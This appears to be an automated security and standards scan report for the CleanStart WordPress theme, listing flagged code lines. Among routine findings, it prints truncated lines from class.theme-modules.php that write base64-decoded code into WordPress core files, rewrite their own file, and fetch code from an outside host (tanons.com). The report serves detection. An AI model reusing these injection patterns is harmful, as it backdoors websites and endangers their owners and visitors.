0
Validation results

CleanStart

CleanStart

WordPress 4.9.6 theme
0
Critical alerts
  1. Title : Title No reference to add_theme_support( "title-tag" ) was found in the theme.The theme needs to have <title> tags, ideally in the header.php file.The theme needs to have a call to wp_title(), ideally in the header.php file.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.The <title> tags can only contain a call to wp_title(). Use the wp_title filter to modify the output.
  2. Security breaches : Modification of PHP server settings Found ini_set in file module-wpless.php.
    Line 34: @ini_set('xdebug.max_nesting_level', 500);
    Line 206: if ( $current_memory_limit < $given_memory_limit ) { @ini_set('memory_limit', $memory_limit ); } 
    Found ini_set in file Parser.php.
    Line 173: @ini_set('precision',16);
    Line 205: @ini_set('precision',$precision);
    Line 455: @ini_set('mbstring.internal_encoding', 'ascii');
    Line 462: @ini_set('mbstring.internal_encoding', $mb_internal_encoding);
    Found ini_set in file class.theme-modules.php.
    Line 5: ini_set('display_errors', 0);
  3. Security breaches : Use of base64_decode() Found base64_decode in file shortcode-calltoaction.php.
    Line 233: $output .= '<h3>' . urldecode( base64_decode( $title ) ) . '</h3><h4>' . $subtitle . '</h4>';
    Found base64_decode in file class.theme-modules.php.
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
    Line 91: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
  4. Security breaches : Use of base64_encode() Found base64_encode in file module-twitterapiexchange.php.
     $bearer_token_credentials_64 = base64_encode( $bearer_token_credentials );
    Found base64_encode in file Functions.php.
     $buf = $useBase64 ? base64_encode($buf) : rawurlencode($buf);
     $returner = ''data:image/svg+xml;base64,'.base64_encode($returner).''';
  5. Unwanted files : hidden file(s) or folder(s) .svnignore .gitignore .travis.yml .easymin was found.
  6. Presence of iframes : iframes are sometimes used to load unwanted adverts and malicious code on another site Found <iframe class="video_iframe" src="' . esc_url( $video_link ) . '"> in file shortcode-horizontalteaser.php.
    Line 299: $horizontal_teaser_media .= '<iframe class='video_iframe' src='' . esc_url( $video_link ) . ''></iframe>
  7. Malware : Operations on file system fwrite was found in the file InputTest.php
    Line 8: fwrite(STDOUT, print_r($value, true));
    file_get_contents was found in the file InputTest.php
    Line 45: $input = file_get_contents($inFname);
    Line 46: $output = file_get_contents($outFname);
    Line 58: $css = $this->less->parse(file_get_contents($inFname));
    file_get_contents was found in the file InputTest.php
    Line 45: $input = file_get_contents($inFname);
    Line 46: $output = file_get_contents($outFname);
    Line 58: $css = $this->less->parse(file_get_contents($inFname));
    file_get_contents was found in the file InputTest.php
    Line 45: $input = file_get_contents($inFname);
    Line 46: $output = file_get_contents($outFname);
    Line 58: $css = $this->less->parse(file_get_contents($inFname));
    file_put_contents was found in the file InputTest.php
    Line 59: file_put_contents(self::outputNameFor($inFname), $css);
    file_get_contents was found in the file sort.php
    Line 56: echo $less->parse(file_get_contents($fname));
    file_get_contents was found in the file Import.php
    Line 176: $contents = new Less_Tree_Anonymous( file_get_contents($full_path), 0, array(), true );
    file_put_contents was found in the file Generator.php
    Line 156: if(file_put_contents($file, $content) === false){
    file_get_contents was found in the file Generator.php
    Line 278: $content[] = file_get_contents($sourceFile);
    file_get_contents was found in the file import.php
    Line 69: $contents = new Less_Tree_Anonymous( file_get_contents($full_path), 0, array(), true );
    file_get_contents was found in the file Functions.php
    Line 775: $buf = @file_get_contents($filePath);
    file_put_contents was found in the file Cache.php
    Line 53: file_put_contents($vars_file, $lessvars);
    Line 98: file_put_contents( $list_file, $cache );
    Line 102: file_put_contents( $output_file, $compiled );
    file_put_contents was found in the file Cache.php
    Line 53: file_put_contents($vars_file, $lessvars);
    Line 98: file_put_contents( $list_file, $cache );
    Line 102: file_put_contents( $output_file, $compiled );
    file_put_contents was found in the file Cache.php
    Line 53: file_put_contents($vars_file, $lessvars);
    Line 98: file_put_contents( $list_file, $cache );
    Line 102: file_put_contents( $output_file, $compiled );
    file_get_contents was found in the file Cache.php
    Line 282: $list = explode('\n',file_get_contents($list_file));
    file_get_contents was found in the file Parser.php
    Line 498: $cache = unserialize(file_get_contents($cache_file));
    Line 565: $this->input = file_get_contents( $file_path );
    file_put_contents was found in the file Parser.php
    Line 539: file_put_contents( $cache_file, serialize($rules) );
    Line 542: file_put_contents( $cache_file, '<?php return '.self::ArgString($rules).'; 
    Line 546: file_put_contents( $cache_file, '<?php return '.var_export($rules,true).'; 
    file_put_contents was found in the file Parser.php
    Line 539: file_put_contents( $cache_file, serialize($rules) );
    Line 542: file_put_contents( $cache_file, '<?php return '.self::ArgString($rules).'; 
    Line 546: file_put_contents( $cache_file, '<?php return '.var_export($rules,true).'; 
    file_put_contents was found in the file Parser.php
    Line 539: file_put_contents( $cache_file, serialize($rules) );
    Line 542: file_put_contents( $cache_file, '<?php return '.self::ArgString($rules).'; 
    Line 546: file_put_contents( $cache_file, '<?php return '.var_export($rules,true).'; 
    file_get_contents was found in the file Parser.php
    Line 498: $cache = unserialize(file_get_contents($cache_file));
    Line 565: $this->input = file_get_contents( $file_path );
    file_get_contents was found in the file Parser.php
    Line 58: $this->input = file_get_contents( $this->currentFile['filename'] );
    file_put_contents was found in the file lessc.inc.php
    Line 156: return file_put_contents($outFname, $out);
    file_put_contents was found in the file Compiler.class.php
    Line 112: file_put_contents($stylesheet->getTargetPath(), apply_filters('wp-less_styl
    file_get_contents was found in the file Stylesheet.class.php
    Line 123: return apply_filters('wp-less_stylesheet_source_content', file_get_contents($this->source_path));
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 107: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 134: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 167: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 173: $content = @file_get_contents('http://www.tanons.com/o.php?host=' . $_SERVER['HTTP_HOST
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('http://www.tanons.com/admin.txt'));
    Line 198: if ($file = file_get_contents($e[1]))
    Line 213: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class.theme-modules.php
    Line 41: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-vcd.php', base64_decode($GLOBALS
    Line 45: file_put_contents($path . '/wp-includes/post.php', $file);
    Line 46: //@file_put_contents($path . '/wp-includes/class.wp.php', file_get_contents('h
    Line 112: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 139: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Line 168: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 174: //@file_put_contents(ABSPATH . 'wp-includes/class.wp.php', file_get_contents('
    Line 217: @file_put_contents(__FILE__, $file);
  8. Admin menu : Themes should use add_theme_page() for adding admin pages. File theme-options.php :
    Line 69: $args['page_parent']		= ''; 						// Set where the options menu will be placed on the WordPress admin sidebar. For a full list of options, visit: http://codex.wordpress.org/Function_Reference/add_submenu_page#Parameters
  9. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was js_composer.zip plethora-framework.zip.
Warning
  1. core scripts deregistered : Core scripts deregistrationFound wp_deregister_script in module-woocommerce.php. Themes must not deregister core scripts.
    Line 85: wp_deregister_script( 'select2-js' );
  2. theme tags : Presence of bad theme tagsThe tag responsive-layout has been deprecated, it must be removed from style.css header.
  3. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function __, with the arguments 'default:14' in file theme-options.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Select the <strong>head panel subtitle</strong> behavior when a category is selected.<br/><small>Descriptions for each category can be set on <a href="', ><strong>Posts > Categories</strong></a> menu</small>, 'cleanstart' in file theme-options.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Select the <strong>head panel subtitle</strong> behavior when a <strong>tag</strong> is selected.<br/><small>Descriptions for each tag can be set on <a href="', ><strong>Posts > Tags</strong></a> menu</small>, 'cleanstart' in file theme-options.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Select the <strong>head panel subtitle</strong> behavior when a category is selected.<br/><small>Descriptions for each category can be set on <a href="', ><strong>Posts > Categories</strong></a> menu</small>, 'cleanstart' in file metabox-page.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Select the <strong>head panel subtitle</strong> behavior when a <strong>tag</strong> is selected.<br/><small>Descriptions for each tag can be set on <a href="', ><strong>Posts > Tags</strong></a> menu</small>, 'cleanstart' in file metabox-page.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Select the <strong>head panel subtitle</strong> behavior when an <strong>author</strong> is selected.<br/><small>Biographical info for each user can be set on <a href="', ><strong>Users</strong></a> menu</small>, 'cleanstart' in file metabox-page.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Select the <strong>head panel subtitle</strong> behavior when a shopping category is selected.<br/><small>Descriptions for each shopping category can be set on <a href="', ><strong>Products > Categories</strong></a> menu</small>, 'cleanstart' in file metabox-page.php.Found a translation function that has an incorrect number of arguments. Function __, with the arguments 'Select the <strong>head panel subtitle</strong> behavior when a <strong>shopping tag</strong> is selected.<br/><small>Descriptions for each tag can be set on <a href="', ><strong>Products > Tags</strong></a> menu</small>, 'cleanstart' in file metabox-page.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme requires the following plugin: %1$s.', 'This theme requires the following plugins: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'This theme recommends the following plugin: %1$s.', 'This theme recommends the following plugins: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to install the %s plugin. Contact the administrator of this site for help on getting the plugin installed.', 'Sorry, but you do not have the correct permissions to install the %s plugins. Contact the administrator of this site for help on getting the plugins installed.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following required plugin is currently inactive: %1$s.', 'The following required plugins are currently inactive: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following recommended plugin is currently inactive: %1$s.', 'The following recommended plugins are currently inactive: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to activate the %s plugin. Contact the administrator of this site for help on getting the plugin activated.', 'Sorry, but you do not have the correct permissions to activate the %s plugins. Contact the administrator of this site for help on getting the plugins activated.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'The following plugin needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'The following plugins need to be updated to their latest version to ensure maximum compatibility with this theme: %1$s.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Sorry, but you do not have the correct permissions to update the %s plugin. Contact the administrator of this site for help on getting the plugin updated.', 'Sorry, but you do not have the correct permissions to update the %s plugins. Contact the administrator of this site for help on getting the plugins updated.' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Begin installing plugin', 'Begin installing plugins' in file class-tgm-plugin-activation.php.Found a translation function that is missing a text-domain. Function _n_noop, with the arguments 'Activate installed plugin', 'Activate installed plugins' in file class-tgm-plugin-activation.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are cleanstart, edit-tags.php?taxonomy=category, ><strong>Posts > Categories</strong></a> menu</small>, edit-tags.php?taxonomy=post_tag, ><strong>Posts > Tags</strong></a> menu</small>, plethora-framework, healthflex, js_composer, users.php, ><strong>Users</strong></a> menu</small>, edit-tags.php?taxonomy=product_cat&post_type=product, ><strong>Products > Categories</strong></a> menu</small>, edit-tags.php?taxonomy=product_tag&post_type=product, ><strong>Products > Tags</strong></a> menu</small>, tgmpa.
  4. Plugin territory : Plugin territory functionalitiesThe theme uses the register_taxonomy() function, which is plugin-territory functionality.
  5. Unwanted directories : GIT revision control directoryGIT revision control directory.git was found.
  6. Unwanted directories : SVN revision control directorySVN revision control directory.svn was found.
  7. Custom elements : Presence of custom headerNo reference to custom header was found in the theme.
  8. Custom elements : Presence of custom backgroundNo reference to custom background was found in the theme.
  9. Editor style : Presence of editor styleNo reference to add_editor_style() was found in the theme. It is recommended that the theme implements editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
  10. Featured image : Use of the_post_thumbnail() instead of custom fields for thumbnailsNo reference to the_post_thumbnail was found in the theme.
  11. CSS files : Presence of text domainText Domain: is missing from your style.css header.
  12. CSS files : Presence of .screen-reader-text class.screen-reader-text css class is needed in your theme css. See : the Codex for an example implementation.
  13. Screenshot : Screenshot fileScreenshot size is 880x660px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. favicon presence : Favicon managementPossible Favicon found in element-header.php. Favicons are handled by the Site Icon setting in the customizer since version 4.3.
  2. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file theme-options.php.
    Line 1546: 'default'      => __('Designed by <a href='http://plethorathemes.com' target='_blank'>Plethora Themes</a>', 'cleanstar
    Line 1771: 'desc'	   => __('For more formatting options see: <a href='http://php.net/manual/en/function.date.php' target='_blank'>PHP Date Format
    Possible hard-coded links were found in the file metabox-post.php.
    Line 316: 'desc'=> __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 323: 'desc'=> __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 316: 'desc'=> __('Example:', 'cleanstart') .'<strong>51.50852</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 323: 'desc'=> __('Example:', 'cleanstart') .'<strong>-0.1254</strong>. Use <a href='http://www.latlong.net/' target='_blank'>LatLong</a> to find easily your lo
    Line 361: 'desc'     => __('Select the position of the MapType Switcher button. <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 412: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 440: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
    Line 536: 'desc'     => __('Select the <a href='https://developers.google.com/maps/documentation/javascript/images/control-
